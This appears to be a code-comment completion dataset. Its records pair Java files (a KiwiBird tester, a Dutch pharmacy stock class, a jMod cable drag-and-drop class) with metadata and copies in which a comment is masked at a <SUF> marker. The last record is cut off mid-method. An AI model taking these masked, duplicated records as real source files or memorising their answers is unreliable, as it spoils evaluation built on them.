KiwiBird kiwi2 = new KiwiBird("Alexa", 15.0, "Brown Kiwi", "Male", "Coromandel", 10.0, 4);
// testing all accessors
System.out.println("kiwi1 name should be default: " + kiwi1.getName() );
System.out.println("kiwi1 species should be default: " + kiwi1.getSpecies() );
System.out.println("kiwi1 size should be default: " + kiwi1.getSize() );
System.out.println("kiwi1 gender should be default: " + kiwi1.getGender());
System.out.println("kiwi1 subSpecies should be default: " + kiwi1.getSubSpecies());
System.out.println("kiwi1 wingSize should be default: " + kiwi1.getWingSize());
System.out.println("kiwi1 beakSize should be default: " + kiwi1.getBeakSize());
// testing all mutators
System.out.println("Setting kiwi1's name to be John...");
kiwi1.setName("John");
System.out.println("kiwi1's name is now " + kiwi1.getName() );
System.out.println("Setting kiwi1's gender to be female...");
kiwi1.setGender("Female");
System.out.println("kiwi1's gender is now " + kiwi1.getGender() );
System.out.println("Setting kiwi1's species to be Tokoeka Kiwi...");
kiwi1.setSpecies("Tokoeka Kiwi");
System.out.println("kiwi1's species is now " + kiwi1.getSpecies() );
System.out.println("Setting kiwi1's subspecies to be Haast...");
kiwi1.setSubSpecies("Haast");
System.out.println("kiwi1's subspecies is now " + kiwi1.getSubSpecies() );
System.out.println("Setting kiwi1's size to be 27.0...");
kiwi1.setSize(27);
System.out.println("kiwi1's size is now " + kiwi1.getSize() );
System.out.println("Unreasonable value -7 being inputted into size, beakSize, and wingSize...");
kiwi1.setSize(-7);
kiwi1.setBeakSize(-7);
kiwi1.setWingSize(-7);
System.out.println("kiwi1's size, beak size, and wingsize are now " + kiwi1.getSize() + ", " + kiwi1.getWingSize() +
", " + kiwi1.getBeakSize());
System.out.println("Empty string name being inputted...");
kiwi1.setName("");
System.out.println("kiwi1's name is now " + kiwi1.getName() );
// testing void methods
System.out.println("Testing eat, makeSound, and layEgg methods...");
System.out.println(kiwi1.getName() + ", eat!");
kiwi1.eat();
System.out.println(kiwi1.getName() + ", Speak!");
kiwi1.makeSound();
System.out.println("Testing makeSound(4)...");
kiwi1.makeSound(4);
System.out.println(kiwi1.getName() + ", lay an egg!");
kiwi1.layEgg();
System.out.println("Testing toString()...");
System.out.println(kiwi1);
System.out.println("\nTesting Kiwi2\n");
System.out.println("kiwi2 name should be \"Alexa\": " + kiwi2.getName() );
System.out.println("kiwi2 species should be \"Brown Kiwi\": " + kiwi2.getSpecies() );
System.out.println("kiwi2 size should be 15.0: " + kiwi2.getSize() );
System.out.println("kiwi2 gender should be male: " + kiwi2.getGender());
System.out.println("kiwi2 subSpecies should be \"Coromandel\": " + kiwi2.getSubSpecies());
System.out.println("kiwi2 wingSize should be 10.0: " + kiwi2.getWingSize());
System.out.println("kiwi2 beakSize should be 4: " + kiwi2.getBeakSize());
System.out.println("Testing eat, makeSound, and layEgg methods...");
System.out.println(kiwi2.getName() + ", eat!");
kiwi2.eat();
System.out.println(kiwi2.getName() + ", Speak!");
kiwi2.makeSound();
System.out.println("Testing makeSound(4)...");
kiwi2.makeSound(4);
System.out.println(kiwi2.getName() + ", lay an egg!");
kiwi2.layEgg();
System.out.println("Testing toString()...");
System.out.println(kiwi2);
}
}
| 3zachm/APCS-Misc | Pre-AP/KiwiBird/KiwiTester.java | 1,410 | // testing void methods | line_comment | nl | public class KiwiTester
{
public static void main(String[] args)
{
// testing both null and normal constructor
KiwiBird kiwi1 = new KiwiBird();
KiwiBird kiwi2 = new KiwiBird("Alexa", 15.0, "Brown Kiwi", "Male", "Coromandel", 10.0, 4);
// testing all accessors
System.out.println("kiwi1 name should be default: " + kiwi1.getName() );
System.out.println("kiwi1 species should be default: " + kiwi1.getSpecies() );
System.out.println("kiwi1 size should be default: " + kiwi1.getSize() );
System.out.println("kiwi1 gender should be default: " + kiwi1.getGender());
System.out.println("kiwi1 subSpecies should be default: " + kiwi1.getSubSpecies());
System.out.println("kiwi1 wingSize should be default: " + kiwi1.getWingSize());
System.out.println("kiwi1 beakSize should be default: " + kiwi1.getBeakSize());
// testing all mutators
System.out.println("Setting kiwi1's name to be John...");
kiwi1.setName("John");
System.out.println("kiwi1's name is now " + kiwi1.getName() );
System.out.println("Setting kiwi1's gender to be female...");
kiwi1.setGender("Female");
System.out.println("kiwi1's gender is now " + kiwi1.getGender() );
System.out.println("Setting kiwi1's species to be Tokoeka Kiwi...");
kiwi1.setSpecies("Tokoeka Kiwi");
System.out.println("kiwi1's species is now " + kiwi1.getSpecies() );
System.out.println("Setting kiwi1's subspecies to be Haast...");
kiwi1.setSubSpecies("Haast");
System.out.println("kiwi1's subspecies is now " + kiwi1.getSubSpecies() );
System.out.println("Setting kiwi1's size to be 27.0...");
kiwi1.setSize(27);
System.out.println("kiwi1's size is now " + kiwi1.getSize() );
System.out.println("Unreasonable value -7 being inputted into size, beakSize, and wingSize...");
kiwi1.setSize(-7);
kiwi1.setBeakSize(-7);
kiwi1.setWingSize(-7);
System.out.println("kiwi1's size, beak size, and wingsize are now " + kiwi1.getSize() + ", " + kiwi1.getWingSize() +
", " + kiwi1.getBeakSize());
System.out.println("Empty string name being inputted...");
kiwi1.setName("");
System.out.println("kiwi1's name is now " + kiwi1.getName() );
// testing void<SUF>
System.out.println("Testing eat, makeSound, and layEgg methods...");
System.out.println(kiwi1.getName() + ", eat!");
kiwi1.eat();
System.out.println(kiwi1.getName() + ", Speak!");
kiwi1.makeSound();
System.out.println("Testing makeSound(4)...");
kiwi1.makeSound(4);
System.out.println(kiwi1.getName() + ", lay an egg!");
kiwi1.layEgg();
System.out.println("Testing toString()...");
System.out.println(kiwi1);
System.out.println("\nTesting Kiwi2\n");
System.out.println("kiwi2 name should be \"Alexa\": " + kiwi2.getName() );
System.out.println("kiwi2 species should be \"Brown Kiwi\": " + kiwi2.getSpecies() );
System.out.println("kiwi2 size should be 15.0: " + kiwi2.getSize() );
System.out.println("kiwi2 gender should be male: " + kiwi2.getGender());
System.out.println("kiwi2 subSpecies should be \"Coromandel\": " + kiwi2.getSubSpecies());
System.out.println("kiwi2 wingSize should be 10.0: " + kiwi2.getWingSize());
System.out.println("kiwi2 beakSize should be 4: " + kiwi2.getBeakSize());
System.out.println("Testing eat, makeSound, and layEgg methods...");
System.out.println(kiwi2.getName() + ", eat!");
kiwi2.eat();
System.out.println(kiwi2.getName() + ", Speak!");
kiwi2.makeSound();
System.out.println("Testing makeSound(4)...");
kiwi2.makeSound(4);
System.out.println(kiwi2.getName() + ", lay an egg!");
kiwi2.layEgg();
System.out.println("Testing toString()...");
System.out.println(kiwi2);
}
}
|
1633_1 | import java.text.SimpleDateFormat;
import java.util.Date;
import java.text.DateFormat;
import java.text.ParseException;
public class Medicijn {
String merknaam;
String stofnaam;
int aantal;
int gewensteAantal;
int minimumAantal;
String fabrikant;
int prijs;
int kastID;
String houdbaarheid;//String die de datum voorstelt in het formaat "dd-MM-yyyy' zoals sdf.
boolean alGewaarschuwd;
boolean besteld;
public Medicijn(String merknaam, String stofnaam, int aantal, int gewensteAantal, int minimumAantal, String fabrikant, int prijs, int kastID, String houdbaarheid)
{
this.merknaam = merknaam;
this.stofnaam = stofnaam;
this.aantal = aantal;
this.gewensteAantal = gewensteAantal;
this.minimumAantal = minimumAantal;
this.fabrikant = fabrikant;
this.prijs = prijs;
this.kastID = kastID;
this.houdbaarheid = houdbaarheid;
alGewaarschuwd=false;
}
public int controleerOpAantal()
{
//return 0 als er genoeg zijn, en anders hoeveel er te weinig zijn.
if (aantal <= minimumAantal)
{
return gewensteAantal-aantal;
}
else
{
return 0;
}
}
public int controleerOpBeide() throws ParseException{
int hoogste = 0;
if(controleerOpHoudbaarheid()>controleerOpAantal())
hoogste = controleerOpHoudbaarheid();
else
hoogste=controleerOpAantal();
return hoogste;
}
public int controleerOpHoudbaarheid() throws ParseException
{
DateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");
Date huidig = new Date();
Date houdbaarheidsDatum = sdf.parse(houdbaarheid); //zet String om naar Date om deze de kunnen vergelijken met huidig.
if (huidig.after(houdbaarheidsDatum) && alGewaarschuwd==false)
{
wijzigAantal(0); //indien niet meer houdbaar, moet het eruit en dient het programma
//de apotheker hiervan op de hoogte te houden.
Log.print();
System.out.println("Controle houdbaarheidsdatum "+ houdbaarheid +": ");
Log.print();
System.out.println("Gelieve "+geefMerknaam()+" uit kast "+geefKastID()+" te halen.");
return gewensteAantal; //Voorraadbeheer zal het gewensteAantal doorgeven in "besmedlist" om te bestellen.
}
else
{
return 0; //in alle andere gevallen wel houdbaar
}
}
public String geefMerknaam(){
return merknaam;
}
public int geefKastID()
{
return kastID;
}
public void wijzigMerknaam(String merknaam)
{
this.merknaam = merknaam;
}
public void wijzigStofnaam(String stofnaam)
{
this.stofnaam = stofnaam;
}
public void wijzigPlaatsBepaling(int kastID)
{
this.kastID = kastID;
}
public void wijzigAantal(int aantal)
{
this.aantal = aantal;
}
public void wijzigGewensteAantal(int aantal)
{
gewensteAantal = aantal;
}
public void wijzigMinimumAantal(int aantal)
{
minimumAantal = aantal;
}
public void wijzigFabrikant(String fabrikant)
{
this.fabrikant = fabrikant;
}
public void wijzigPrijs(int prijs)
{
this.prijs = prijs;
}
public void vermeerderMedicijnAantal(int vermeerder)
{
aantal = aantal + vermeerder;
}
}
| 4SDDeMeyerKaya/Voorraadbeheer4SD | src/Medicijn.java | 1,292 | //return 0 als er genoeg zijn, en anders hoeveel er te weinig zijn.
| line_comment | nl | import java.text.SimpleDateFormat;
import java.util.Date;
import java.text.DateFormat;
import java.text.ParseException;
public class Medicijn {
String merknaam;
String stofnaam;
int aantal;
int gewensteAantal;
int minimumAantal;
String fabrikant;
int prijs;
int kastID;
String houdbaarheid;//String die de datum voorstelt in het formaat "dd-MM-yyyy' zoals sdf.
boolean alGewaarschuwd;
boolean besteld;
public Medicijn(String merknaam, String stofnaam, int aantal, int gewensteAantal, int minimumAantal, String fabrikant, int prijs, int kastID, String houdbaarheid)
{
this.merknaam = merknaam;
this.stofnaam = stofnaam;
this.aantal = aantal;
this.gewensteAantal = gewensteAantal;
this.minimumAantal = minimumAantal;
this.fabrikant = fabrikant;
this.prijs = prijs;
this.kastID = kastID;
this.houdbaarheid = houdbaarheid;
alGewaarschuwd=false;
}
public int controleerOpAantal()
{
//return 0<SUF>
if (aantal <= minimumAantal)
{
return gewensteAantal-aantal;
}
else
{
return 0;
}
}
public int controleerOpBeide() throws ParseException{
int hoogste = 0;
if(controleerOpHoudbaarheid()>controleerOpAantal())
hoogste = controleerOpHoudbaarheid();
else
hoogste=controleerOpAantal();
return hoogste;
}
public int controleerOpHoudbaarheid() throws ParseException
{
DateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");
Date huidig = new Date();
Date houdbaarheidsDatum = sdf.parse(houdbaarheid); //zet String om naar Date om deze de kunnen vergelijken met huidig.
if (huidig.after(houdbaarheidsDatum) && alGewaarschuwd==false)
{
wijzigAantal(0); //indien niet meer houdbaar, moet het eruit en dient het programma
//de apotheker hiervan op de hoogte te houden.
Log.print();
System.out.println("Controle houdbaarheidsdatum "+ houdbaarheid +": ");
Log.print();
System.out.println("Gelieve "+geefMerknaam()+" uit kast "+geefKastID()+" te halen.");
return gewensteAantal; //Voorraadbeheer zal het gewensteAantal doorgeven in "besmedlist" om te bestellen.
}
else
{
return 0; //in alle andere gevallen wel houdbaar
}
}
public String geefMerknaam(){
return merknaam;
}
public int geefKastID()
{
return kastID;
}
public void wijzigMerknaam(String merknaam)
{
this.merknaam = merknaam;
}
public void wijzigStofnaam(String stofnaam)
{
this.stofnaam = stofnaam;
}
public void wijzigPlaatsBepaling(int kastID)
{
this.kastID = kastID;
}
public void wijzigAantal(int aantal)
{
this.aantal = aantal;
}
public void wijzigGewensteAantal(int aantal)
{
gewensteAantal = aantal;
}
public void wijzigMinimumAantal(int aantal)
{
minimumAantal = aantal;
}
public void wijzigFabrikant(String fabrikant)
{
this.fabrikant = fabrikant;
}
public void wijzigPrijs(int prijs)
{
this.prijs = prijs;
}
public void vermeerderMedicijnAantal(int vermeerder)
{
aantal = aantal + vermeerder;
}
}
|
21647_3 | // http://www.javaworld.com/javaworld/jw-03-1999/jw-03-dragndrop-p1.html
package main;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.Transferable;
import java.awt.dnd.DnDConstants;
import java.awt.dnd.DragGestureEvent;
import java.awt.dnd.DragGestureListener;
import java.awt.dnd.DragSource;
import java.awt.dnd.DragSourceDragEvent;
import java.awt.dnd.DragSourceDropEvent;
import java.awt.dnd.DragSourceEvent;
import java.awt.dnd.DragSourceListener;
import java.awt.dnd.DropTarget;
import java.awt.dnd.DropTargetDragEvent;
import java.awt.dnd.DropTargetDropEvent;
import java.awt.dnd.DropTargetEvent;
import java.awt.dnd.DropTargetListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.Serializable;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import javax.swing.JLayeredPane;
public class Connection extends JLabel implements DragGestureListener, DragSourceListener, DropTargetListener, Transferable, Serializable {
private int index, type;
private String name;
private boolean input;
private int conX, conY;
private boolean open; // Of er een kabel in zit...
private Module module;
private ImageIcon icon;
private Connection _this = null;
public final static int imageWidth = 13/2; // DE HELFT ERVAN!!!
Cables cables = null;
private static boolean moving = false;
//--- drag
private DragSource dragSource = null;
private int dragAction = DnDConstants.ACTION_COPY_OR_MOVE;
//--- drop
private DropTarget dropTarget = null;
private int dropAction = DnDConstants.ACTION_COPY_OR_MOVE;
//--- data
public static final DataFlavor inConnectionFlavor = new DataFlavor("jmod/inConnection", "jMod In Connection");
public static final DataFlavor outConnectionFlavor = new DataFlavor("jmod/outConnection", "jMod Out Connection");
private static final DataFlavor[] inFlavors = {inConnectionFlavor, outConnectionFlavor};
private static final DataFlavor[] outFlavors = {outConnectionFlavor, inConnectionFlavor};
private DataFlavor[] flavors = null;
private int oldDragX = -1, oldDragY = -1;
// endDrag zorgt ervoor dat de kabel die zojuist gedropt is, opnieuw getekend wordt met een curve.
// Volgens mij worden alle kabels opnieuw getekend na een drop... ach ja...
private boolean endDrag = true;
Connection(Module newModule, boolean bInput, int newIndex, String newName, int newType, int newX, int newY) {
_this = this;
index = newIndex;
type = newType;
input = bInput;
name = newName;
conX = newX;
conY = newY;
open = true;
module = newModule;
if (input){
if (type == 0)
icon = new ImageIcon("./grafix/_con_in_red.gif");
if (type == 1)
icon = new ImageIcon("./grafix/_con_in_blue.gif");
if (type == 2)
icon = new ImageIcon("./grafix/_con_in_yellow.gif");
if (type == 3)
icon = new ImageIcon("./grafix/_con_in.gif");
flavors = inFlavors;
}
else {
if (type == 0)
icon = new ImageIcon("./grafix/_con_out_red.gif");
if (type == 1)
icon = new ImageIcon("./grafix/_con_out_blue.gif");
if (type == 2)
icon = new ImageIcon("./grafix/_con_out_yellow.gif");
if (type == 3)
icon = new ImageIcon("./grafix/_con_out.gif");
flavors = outFlavors;
}
this.setIcon(icon);
this.setLocation(conX, conY);
this.setSize(icon.getIconWidth(), icon.getIconHeight());
this.setToolTipText(name);
module.add(this);
dragSource = DragSource.getDefaultDragSource();
dragSource.createDefaultDragGestureRecognizer(this, dragAction, this);
dropTarget = new DropTarget(this, dropAction, this, true);
this.addMouseListener(new MouseAdapter() {
public void mousePressed(MouseEvent e) {
moving = false;
// TODO ?Replace lgic to Cables
Cable cab = null;
int modIndex = module.getModuleData().getModIndex();
int conIndex = _this.getConnectionIndex();
int inpIndex = _this.input?0:1;
boolean poly = module.getModuleData().getPoly();
int loopSize = poly?module.getModules().getCables().getPolySize():module.getModules().getCables().getCommonSize();
if (loopSize > 0) {
for (int i=0; i < loopSize; i++) {
cab = module.getModules().getCables().getCable(poly, i);
if (((cab.getBeginModule() == modIndex) && (cab.getBeginConnector() == conIndex) && (cab.getBeginConnectorType() == inpIndex)) ||
((cab.getEndModule() == modIndex) && (cab.getEndConnector() == conIndex) && (cab.getEndConnectorType() == inpIndex))) {
Cables.setDragCable(cab);
Cables.getDragCable().setSelectColor1();
break;
}
}
}
if (e.isAltDown()) {
module.getModules().getCables().selectChain(cab, poly);
}
if (e.getClickCount() > 1 || e.isControlDown()) {
moving = true;
Cables.determBeginWindowDrag(module.getX() + conX, module.getY() + conY);
Cables.determBeginCableDrag(modIndex, conIndex, inpIndex);
Cables.getDragCable().setSelectColor2();
}
}
public void mouseReleased(MouseEvent e)
{
if (e.isAltDown()) {
Cable cab = Cables.getDragCable();
module.getModules().getCables().unSelectChain(cab, module.getModuleData().getPoly());
}
if (!e.isAltDown()) {
if (Cables.getDragCable() != null) Cables.getDragCable().restoreColor();
}
}
});
}
// Getters
public Module getModule() {
return module;
}
public String getConnectionName() {
return name;
}
public int getConnectionType() {
return type;
}
public int getConnectionIndex() {
return index;
}
public int getConnectionLocationX() {
return conX;
}
public int getConnectionLocationY() {
return conY;
}
public String getConnectionTypeName() {
String returnType;
switch (type) {
case 0: returnType = "Audio"; break; // 24bit, min = -64, max = +64 - 96kHz.
case 1: returnType = "Control"; break; // 24bit, min = -64, max = +64 - 24kHz.
case 2: returnType = "Logic"; break; // 1bit, low = 0, high = +64.
case 3: returnType = "Slave"; break; // frequentie referentie tussen master en slave modulen
default: returnType = "Wrong type..."; break;
}
return returnType;
}
//--- drag
public void setEndDrag(boolean newEndDrag) {
endDrag = newEndDrag;
}
public void dragGestureRecognized(DragGestureEvent e) {
endDrag = false;
if (Cables.getDragCable() != null) Cables.getDragCable().restoreColor();
if (Cables.getDragCable() != null) module.getModules().getCables().unSelectChain(Cables.getDragCable(), module.getModuleData().getPoly());
// Het ligt aan de Action (shift/control) wat we gaan doen...
if (e.getDragAction() == 2 && !moving) { // new
moving = false;
e.startDrag(DragSource.DefaultCopyDrop, this, this);
Cables.newDragCable(module.getX() + conX, module.getY() + conY, Cable.SELECTCOLOR1, input?0:1);
module.getDesktopPane().add(Cables.getDragCable());
}
else { // dan is de kabel die in de mousePressed gevonden is de juiste.
moving = true;
e.startDrag(DragSource.DefaultMoveDrop, this, this);
Cables.setTempCable(Cables.getDragCable());
Cables.getDragCable().setSelectColor2();
}
module.getDesktopPane().setLayer(Cables.getDragCable(), JLayeredPane.DEFAULT_LAYER.intValue() + 10); // Ietskes hoger
// Debug.println("Connection dragGestureRecognized(source)");
}
public void dragEnter(DragSourceDragEvent e) {
// Debug.println("dragEnter(source)?");
}
public void dragOver(DragSourceDragEvent e) {
// Debug.println("dragOver(source)?");
}
public void dragExit(DragSourceEvent e) {
// Debug.println("Connection dragExit(source)");
}
public void dragDropEnd(DragSourceDropEvent e) {
if (e.getDropSuccess() == false) {
if (moving) {
if (e.getDropAction() == 2) { // rejected by wron connection
module.getModules().getCables().addCable(module.getModuleData().getPoly(), Cables.getTempCable(Cables.getDragCable()));
module.getModules().getCables().redrawCables(module.getModules(), module.getModuleData().getPoly());
}
else { // rejected by 'module' -> delete
module.getModules().getCables().removeCable(Cables.getDragCable(), module.getModuleData().getPoly());
}
}
else {
module.getModules().getCables().removeCable(Cables.getDragCable(), module.getModuleData().getPoly());
}
return;
}
int dropAction = e.getDropAction();
if (dropAction == DnDConstants.ACTION_MOVE) {
// wat te doen als het een move was... etc
}
this.open = false; // dit moet ook in de target gebeuren
}
public void dropActionChanged(DragSourceDragEvent e) {
//Bij het indrukken van Shift en Ctrl
//Debug.println("dropActionChanged(source)");
// DragSourceContext context = e.getDragSourceContext();
// context.setCursor(DragSource.DefaultCopyNoDrop);
}
// --- drop
private boolean isDragOk(DropTargetDragEvent e) {
DataFlavor chosen = null;
// do we need this anymore?
for (int i = 0; i < flavors.length; i++) {
if (e.isDataFlavorSupported(flavors[i])) {
chosen = flavors[i];
break;
}
}
/* if the src does not support any of the Connection flavors */
if (chosen == null) {
return false;
}
// the actions specified when the source
// created the DragGestureRecognizer
int sa = e.getSourceActions(); // Copy or Move
// we're saying that these actions are necessary
if ((sa & dragAction) == 0)
return false;
return true;
}
public void dragEnter(DropTargetDragEvent e) {
// Debug.println("dragEnter(target)");
}
public void dragOver(DropTargetDragEvent e) {
if(!isDragOk(e)) {
e.rejectDrag();
return;
}
int newDragX = e.getLocation().x - Connection.imageWidth;
int newDragY = e.getLocation().y - Connection.imageWidth;
if ((newDragX != oldDragX) || (newDragY != oldDragY)) {
if (Cables.getDragCable() != null) {
Cables.getDragCable().setNewDragWindowLayout((module.getX() + conX) + (newDragX), (module.getY() + conY) + (newDragY));
Cables.getDragCable().repaint();
oldDragX = newDragX;
oldDragY = newDragY;
}
}
e.acceptDrag(dragAction);
}
public void dragExit(DropTargetEvent e)
{
// Debug.println("dragExit(target)");
}
public void dropActionChanged(DropTargetDragEvent e) {
// Debug.println(new Integer(e.getDropAction()).toString());
}
public void drop(DropTargetDropEvent e) {
DataFlavor chosen = null;
if (e.isLocalTransfer() == false) {
// chosen = StringTransferable.plainTextFlavor;
}
else {
for (int i = 0; i < flavors.length; i++)
if (e.isDataFlavorSupported(flavors[i])) {
chosen = flavors[i];
break;
}
}
if (chosen == null) {
e.rejectDrop();
return;
}
// the actions that the source has specified with DragGestureRecognizer
int sa = e.getSourceActions();
if ((sa & dropAction) == 0 ) { // Als een Move op Copy niet mag...
e.rejectDrop();
return;
}
Object data = null;
try {
e.acceptDrop(dropAction);
data = e.getTransferable().getTransferData(chosen);
if (data == null)
throw new NullPointerException();
}
catch (Throwable t) {
t.printStackTrace();
e.dropComplete(false);
return;
}
if (data instanceof Connection) {
Connection con = (Connection) data;
int newColour = 6;
con.endDrag = true;
if (_this.equals(con)) {
e.dropComplete(false);
return;
}
int modIndex = module.getModuleData().getModIndex();
int conModIndex = con.getModule().getModuleData().getModIndex();
if (!moving) {
if (con.input)
Cables.getDragCable().setCableData(conModIndex, con.index, 0, modIndex, index, input?0:1, newColour);
else
Cables.getDragCable().setCableData(modIndex, index, this.input?0:1, conModIndex, con.index, con.input?0:1, newColour);
}
else {
if (Cables.getDragBeginCable())
// if (input) {
// Debug.println("a");
Cables.getDragCable().setCableData(modIndex, index, input?0:1, -1, 0, 0, newColour);
// }
// else {
// Debug.println("b");
// Cables.getDragCable().setCableData(modIndex, index, input?0:1, -1, 0, 0, newColour);
// }
else {
// if (con.input) {
// Debug.println("c");
Cables.getDragCable().setCableData(-1, 0, 0, modIndex, index, input?0:1, newColour);
// }
// else {
// Debug.println("d");
// Cables.getDragCable().setCableData(-1, 0, 0, modIndex, index, input?0:1, newColour);
// }
}
}
// Dragged to other end of cable
if ((Cables.getDragCable().getBeginModule() == Cables.getDragCable().getEndModule()) &&
(Cables.getDragCable().getBeginConnector() == Cables.getDragCable().getEndConnector()) &&
(Cables.getDragCable().getBeginConnectorType() == Cables.getDragCable().getEndConnectorType())) {
e.dropComplete(false);
return;
}
newColour = module.getModules().getCables().checkChain(Cables.getDragCable(), module.getModuleData().getPoly());
if (newColour < 0) // reject cable;
{
e.dropComplete(false);
return;
}
Cables.getDragCable().setColor(newColour);
if (!moving) module.getModules().getCables().addCable(module.getModuleData().getPoly(), Cables.getDragCable());
module.getModules().getCables().redrawCables(module.getModules(), module.getModuleData().getPoly());
}
else {
e.dropComplete(false);
return;
}
e.dropComplete(true);
}
//--- data
public DataFlavor[] getTransferDataFlavors() {
return flavors;
}
public boolean isDataFlavorSupported(DataFlavor targetFlavor) {
// het dataobject (nu zichzelf) krijgt flavours mee van de source.
return true;
}
public synchronized Object getTransferData(DataFlavor flavor) {
// afhankelijk van welke flavour de target(?) graag wil, geven we het juiste terug
// if (flavor.equals(inConnectionFlavor))
// return this;
// if (flavor.equals(outConnectionFlavor))
// return this;
// throw new UnsupportedFlavorException(flavor);
// we vinden alles goed
return this;
}
public String toString() {
return (input?"input ":"output ") + index + " " + getConnectionTypeName() + "(" + type + ") " + name;
}
}
| 4c0n/4c0nmedit | jMod/src/main/Connection.java | 5,377 | // endDrag zorgt ervoor dat de kabel die zojuist gedropt is, opnieuw getekend wordt met een curve.
| line_comment | nl | // http://www.javaworld.com/javaworld/jw-03-1999/jw-03-dragndrop-p1.html
package main;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.Transferable;
import java.awt.dnd.DnDConstants;
import java.awt.dnd.DragGestureEvent;
import java.awt.dnd.DragGestureListener;
import java.awt.dnd.DragSource;
import java.awt.dnd.DragSourceDragEvent;
import java.awt.dnd.DragSourceDropEvent;
import java.awt.dnd.DragSourceEvent;
import java.awt.dnd.DragSourceListener;
import java.awt.dnd.DropTarget;
import java.awt.dnd.DropTargetDragEvent;
import java.awt.dnd.DropTargetDropEvent;
import java.awt.dnd.DropTargetEvent;
import java.awt.dnd.DropTargetListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.Serializable;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import javax.swing.JLayeredPane;
public class Connection extends JLabel implements DragGestureListener, DragSourceListener, DropTargetListener, Transferable, Serializable {
private int index, type;
private String name;
private boolean input;
private int conX, conY;
private boolean open; // Of er een kabel in zit...
private Module module;
private ImageIcon icon;
private Connection _this = null;
public final static int imageWidth = 13/2; // DE HELFT ERVAN!!!
Cables cables = null;
private static boolean moving = false;
//--- drag
private DragSource dragSource = null;
private int dragAction = DnDConstants.ACTION_COPY_OR_MOVE;
//--- drop
private DropTarget dropTarget = null;
private int dropAction = DnDConstants.ACTION_COPY_OR_MOVE;
//--- data
public static final DataFlavor inConnectionFlavor = new DataFlavor("jmod/inConnection", "jMod In Connection");
public static final DataFlavor outConnectionFlavor = new DataFlavor("jmod/outConnection", "jMod Out Connection");
private static final DataFlavor[] inFlavors = {inConnectionFlavor, outConnectionFlavor};
private static final DataFlavor[] outFlavors = {outConnectionFlavor, inConnectionFlavor};
private DataFlavor[] flavors = null;
private int oldDragX = -1, oldDragY = -1;
// endDrag zorgt<SUF>
// Volgens mij worden alle kabels opnieuw getekend na een drop... ach ja...
private boolean endDrag = true;
Connection(Module newModule, boolean bInput, int newIndex, String newName, int newType, int newX, int newY) {
_this = this;
index = newIndex;
type = newType;
input = bInput;
name = newName;
conX = newX;
conY = newY;
open = true;
module = newModule;
if (input){
if (type == 0)
icon = new ImageIcon("./grafix/_con_in_red.gif");
if (type == 1)
icon = new ImageIcon("./grafix/_con_in_blue.gif");
if (type == 2)
icon = new ImageIcon("./grafix/_con_in_yellow.gif");
if (type == 3)
icon = new ImageIcon("./grafix/_con_in.gif");
flavors = inFlavors;
}
else {
if (type == 0)
icon = new ImageIcon("./grafix/_con_out_red.gif");
if (type == 1)
icon = new ImageIcon("./grafix/_con_out_blue.gif");
if (type == 2)
icon = new ImageIcon("./grafix/_con_out_yellow.gif");
if (type == 3)
icon = new ImageIcon("./grafix/_con_out.gif");
flavors = outFlavors;
}
this.setIcon(icon);
this.setLocation(conX, conY);
this.setSize(icon.getIconWidth(), icon.getIconHeight());
this.setToolTipText(name);
module.add(this);
dragSource = DragSource.getDefaultDragSource();
dragSource.createDefaultDragGestureRecognizer(this, dragAction, this);
dropTarget = new DropTarget(this, dropAction, this, true);
this.addMouseListener(new MouseAdapter() {
public void mousePressed(MouseEvent e) {
moving = false;
// TODO ?Replace lgic to Cables
Cable cab = null;
int modIndex = module.getModuleData().getModIndex();
int conIndex = _this.getConnectionIndex();
int inpIndex = _this.input?0:1;
boolean poly = module.getModuleData().getPoly();
int loopSize = poly?module.getModules().getCables().getPolySize():module.getModules().getCables().getCommonSize();
if (loopSize > 0) {
for (int i=0; i < loopSize; i++) {
cab = module.getModules().getCables().getCable(poly, i);
if (((cab.getBeginModule() == modIndex) && (cab.getBeginConnector() == conIndex) && (cab.getBeginConnectorType() == inpIndex)) ||
((cab.getEndModule() == modIndex) && (cab.getEndConnector() == conIndex) && (cab.getEndConnectorType() == inpIndex))) {
Cables.setDragCable(cab);
Cables.getDragCable().setSelectColor1();
break;
}
}
}
if (e.isAltDown()) {
module.getModules().getCables().selectChain(cab, poly);
}
if (e.getClickCount() > 1 || e.isControlDown()) {
moving = true;
Cables.determBeginWindowDrag(module.getX() + conX, module.getY() + conY);
Cables.determBeginCableDrag(modIndex, conIndex, inpIndex);
Cables.getDragCable().setSelectColor2();
}
}
public void mouseReleased(MouseEvent e)
{
if (e.isAltDown()) {
Cable cab = Cables.getDragCable();
module.getModules().getCables().unSelectChain(cab, module.getModuleData().getPoly());
}
if (!e.isAltDown()) {
if (Cables.getDragCable() != null) Cables.getDragCable().restoreColor();
}
}
});
}
// Getters
public Module getModule() {
return module;
}
public String getConnectionName() {
return name;
}
public int getConnectionType() {
return type;
}
public int getConnectionIndex() {
return index;
}
public int getConnectionLocationX() {
return conX;
}
public int getConnectionLocationY() {
return conY;
}
public String getConnectionTypeName() {
String returnType;
switch (type) {
case 0: returnType = "Audio"; break; // 24bit, min = -64, max = +64 - 96kHz.
case 1: returnType = "Control"; break; // 24bit, min = -64, max = +64 - 24kHz.
case 2: returnType = "Logic"; break; // 1bit, low = 0, high = +64.
case 3: returnType = "Slave"; break; // frequentie referentie tussen master en slave modulen
default: returnType = "Wrong type..."; break;
}
return returnType;
}
//--- drag
public void setEndDrag(boolean newEndDrag) {
endDrag = newEndDrag;
}
public void dragGestureRecognized(DragGestureEvent e) {
endDrag = false;
if (Cables.getDragCable() != null) Cables.getDragCable().restoreColor();
if (Cables.getDragCable() != null) module.getModules().getCables().unSelectChain(Cables.getDragCable(), module.getModuleData().getPoly());
// Het ligt aan de Action (shift/control) wat we gaan doen...
if (e.getDragAction() == 2 && !moving) { // new
moving = false;
e.startDrag(DragSource.DefaultCopyDrop, this, this);
Cables.newDragCable(module.getX() + conX, module.getY() + conY, Cable.SELECTCOLOR1, input?0:1);
module.getDesktopPane().add(Cables.getDragCable());
}
else { // dan is de kabel die in de mousePressed gevonden is de juiste.
moving = true;
e.startDrag(DragSource.DefaultMoveDrop, this, this);
Cables.setTempCable(Cables.getDragCable());
